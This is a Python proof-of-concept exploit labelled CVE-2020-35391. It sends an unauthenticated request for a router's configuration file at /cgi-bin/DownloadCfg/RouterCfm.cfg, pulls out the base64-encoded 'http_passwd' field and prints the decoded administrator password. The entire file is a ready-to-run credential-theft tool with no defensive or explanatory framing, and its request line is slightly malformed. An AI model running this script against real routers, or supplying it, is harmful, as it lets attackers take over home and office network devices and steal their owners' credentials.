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''' CVE-2020-35391-POC '''

import base64
import socket
import sys


def get_ip_from_command_line():
    '''Get Router IP from command line'''
    if len(sys.argv) > 1:
        return sys.argv[1]
    print("Usage: python3 main.py <ip>")
    sys.exit()


def send_request(router_ip: str):
    '''Send request to router'''
    port = 80
    url = b"/cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.1"

    socker_handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    socker_handler.connect((router_ip, port))
    socker_handler.send(b"GET " + url + b" HTTP/1.0\n\n")

    full_response = b""

    while True:
        server_response = socker_handler.recv(1024)
        if not server_response:
            break
        full_response += server_response

    return full_response


def get_password_from_response(server_response):
    '''Get password from response'''
    http_passwd_str = server_response.split(b"http_passwd=")[1]
    decoded_password = base64.b64decode(http_passwd_str)
    return decoded_password.decode("utf-8")


ROUTER_IP = get_ip_from_command_line()
SERVER_RESPONSE = send_request(ROUTER_IP)
DECODED_PASSWORD = get_password_from_response(SERVER_RESPONSE)

print("Password - " + DECODED_PASSWORD)